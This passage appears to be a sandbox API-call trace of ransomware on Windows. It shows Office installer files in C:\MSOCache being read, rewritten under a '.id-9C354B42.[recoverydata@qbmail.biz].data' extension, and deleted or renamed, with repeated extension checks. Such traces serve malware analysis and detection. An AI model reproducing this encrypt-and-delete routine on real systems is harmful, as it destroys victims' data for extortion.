WriteFile (in: hFile=0x1ac, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0088.861] SetEndOfFile (hFile=0x1ac) returned 1 [0088.861] CloseHandle (hObject=0x1ac) returned 1 [0088.872] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0088.872] SetEndOfFile (hFile=0x20c) returned 1 [0089.240] CloseHandle (hObject=0x20c) returned 1 [0089.241] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0089.241] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0089.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.242] lstrlenW (lpString=".doc") returned 4 [0089.242] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0089.242] lstrlenW (lpString=".docx") returned 5 [0089.242] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0089.242] lstrlenW (lpString=".pdf") returned 4 [0089.242] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0089.242] lstrlenW (lpString=".xls") returned 4 [0089.242] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0089.242] lstrlenW (lpString=".xlsx") returned 5 [0089.242] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0089.243] lstrlenW (lpString=".ppt") returned 4 [0089.243] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0089.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.243] lstrlenW (lpString=".zip") returned 4 [0089.243] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0089.243] lstrlenW (lpString=".rar") returned 4 [0089.243] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0089.243] lstrlenW (lpString=".bz2") returned 4 [0089.243] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0089.243] lstrlenW (lpString=".7z") returned 3 [0089.243] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0089.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.243] lstrlenW (lpString=".dbf") returned 4 [0089.243] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0089.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.244] lstrlenW (lpString=".1cd") returned 4 [0089.244] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0089.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.244] lstrlenW (lpString=".jpg") returned 4 [0089.244] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0089.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.244] lstrlenW (lpString=".doc") returned 4 [0089.244] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0089.244] lstrlenW (lpString=".docx") returned 5 [0089.244] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0089.244] lstrlenW (lpString=".pdf") returned 4 [0089.245] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0089.245] lstrlenW (lpString=".xls") returned 4 [0089.245] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0089.245] lstrlenW (lpString=".xlsx") returned 5 [0089.245] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0089.245] lstrlenW (lpString=".ppt") returned 4 [0089.245] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0089.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.245] lstrlenW (lpString=".zip") returned 4 [0089.245] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0089.245] lstrlenW (lpString=".rar") returned 4 [0089.245] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0089.245] lstrlenW (lpString=".bz2") returned 4 [0089.245] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0089.245] lstrlenW (lpString=".7z") returned 3 [0089.246] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0089.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.246] lstrlenW (lpString=".dbf") returned 4 [0089.246] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0089.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.246] lstrlenW (lpString=".1cd") returned 4 [0089.246] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0089.246] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0089.246] lstrlenW (lpString=".jpg") returned 4 [0089.246] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0089.246] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0089.246] lstrlenW (lpString="Proofing.msi") returned 12 [0089.246] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0089.247] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=868864) returned 1 [0089.247] CloseHandle (hObject=0x20c) returned 1 [0089.247] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0089.247] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0089.247] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0089.247] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.248] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.248] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0089.248] GetLastError () returned 0x0 [0089.248] ReadFile (in: hFile=0x20c, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0089.275] WriteFile (in: hFile=0x1fc, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0089.526] ReadFile (in: hFile=0x20c, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0089.526] WriteFile (in: hFile=0x1fc, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0089.527] SetEndOfFile (hFile=0x1fc) returned 1 [0089.527] CloseHandle (hObject=0x1fc) returned 1 [0089.537] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.537] SetEndOfFile (hFile=0x20c) returned 1 [0089.547] CloseHandle (hObject=0x20c) returned 1 [0089.547] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0089.547] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0089.548] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.548] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.548] lstrlenW (lpString=".doc") returned 4 [0089.548] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0089.548] lstrlenW (lpString=".docx") returned 5 [0089.548] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0089.548] lstrlenW (lpString=".pdf") returned 4 [0089.548] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0089.548] lstrlenW (lpString=".xls") returned 4 [0089.548] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0089.548] lstrlenW (lpString=".xlsx") returned 5 [0089.548] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0089.548] lstrlenW (lpString=".ppt") returned 4 [0089.548] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0089.548] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.548] lstrlenW (lpString=".zip") returned 4 [0089.548] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0089.548] lstrlenW (lpString=".rar") returned 4 [0089.549] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0089.549] lstrlenW (lpString=".bz2") returned 4 [0089.549] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0089.549] lstrlenW (lpString=".7z") returned 3 [0089.549] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0089.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.549] lstrlenW (lpString=".dbf") returned 4 [0089.549] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0089.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.549] lstrlenW (lpString=".1cd") returned 4 [0089.549] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0089.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.549] lstrlenW (lpString=".jpg") returned 4 [0089.549] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0089.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.550] lstrlenW (lpString=".doc") returned 4 [0089.550] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0089.550] lstrlenW (lpString=".docx") returned 5 [0089.550] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0089.550] lstrlenW (lpString=".pdf") returned 4 [0089.550] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0089.550] lstrlenW (lpString=".xls") returned 4 [0089.550] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0089.550] lstrlenW (lpString=".xlsx") returned 5 [0089.550] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0089.550] lstrlenW (lpString=".ppt") returned 4 [0089.550] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0089.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.550] lstrlenW (lpString=".zip") returned 4 [0089.550] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0089.550] lstrlenW (lpString=".rar") returned 4 [0089.550] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0089.550] lstrlenW (lpString=".bz2") returned 4 [0089.550] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0089.550] lstrlenW (lpString=".7z") returned 3 [0089.550] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0089.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.551] lstrlenW (lpString=".dbf") returned 4 [0089.551] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0089.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.551] lstrlenW (lpString=".1cd") returned 4 [0089.551] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0089.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0089.551] lstrlenW (lpString=".jpg") returned 4 [0089.551] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0090.291] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0090.291] lstrlenW (lpString="Office32MUI.msi") returned 15 [0090.292] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0090.292] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=873984) returned 1 [0090.292] CloseHandle (hObject=0x1ac) returned 1 [0090.292] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0090.293] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0090.293] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0090.293] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.293] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.293] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0090.294] GetLastError () returned 0x0 [0090.294] ReadFile (in: hFile=0x1ac, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0xd5600, lpOverlapped=0x0) returned 1 [0090.748] WriteFile (in: hFile=0x194, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0091.205] ReadFile (in: hFile=0x1ac, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0091.205] WriteFile (in: hFile=0x194, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0091.205] SetEndOfFile (hFile=0x194) returned 1 [0091.206] CloseHandle (hObject=0x194) returned 1 [0091.216] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.216] SetEndOfFile (hFile=0x1ac) returned 1 [0091.228] CloseHandle (hObject=0x1ac) returned 1 [0091.228] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0091.228] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0091.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.229] lstrlenW (lpString=".doc") returned 4 [0091.229] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.229] lstrlenW (lpString=".docx") returned 5 [0091.229] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0091.229] lstrlenW (lpString=".pdf") returned 4 [0091.229] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.229] lstrlenW (lpString=".xls") returned 4 [0091.229] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.229] lstrlenW (lpString=".xlsx") returned 5 [0091.229] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0091.229] lstrlenW (lpString=".ppt") returned 4 [0091.229] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.229] lstrlenW (lpString=".zip") returned 4 [0091.229] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.229] lstrlenW (lpString=".rar") returned 4 [0091.229] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.230] lstrlenW (lpString=".bz2") returned 4 [0091.230] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.230] lstrlenW (lpString=".7z") returned 3 [0091.230] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.230] lstrlenW (lpString=".dbf") returned 4 [0091.230] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.230] lstrlenW (lpString=".1cd") returned 4 [0091.230] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.230] lstrlenW (lpString=".jpg") returned 4 [0091.230] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.231] lstrlenW (lpString=".doc") returned 4 [0091.231] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.231] lstrlenW (lpString=".docx") returned 5 [0091.231] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0091.231] lstrlenW (lpString=".pdf") returned 4 [0091.231] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.231] lstrlenW (lpString=".xls") returned 4 [0091.231] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.231] lstrlenW (lpString=".xlsx") returned 5 [0091.231] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0091.231] lstrlenW (lpString=".ppt") returned 4 [0091.231] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.231] lstrlenW (lpString=".zip") returned 4 [0091.231] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.232] lstrlenW (lpString=".rar") returned 4 [0091.232] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.232] lstrlenW (lpString=".bz2") returned 4 [0091.232] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.232] lstrlenW (lpString=".7z") returned 3 [0091.232] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.232] lstrlenW (lpString=".dbf") returned 4 [0091.232] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.232] lstrlenW (lpString=".1cd") returned 4 [0091.232] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0091.232] lstrlenW (lpString=".jpg") returned 4 [0091.232] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.233] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0091.233] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0091.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0091.233] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=2928955) returned 1 [0091.233] CloseHandle (hObject=0x1ac) returned 1 [0091.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0091.234] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0091.234] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0091.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0091.235] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0091.235] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0091.235] ReadFile (in: hFile=0x1ac, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: 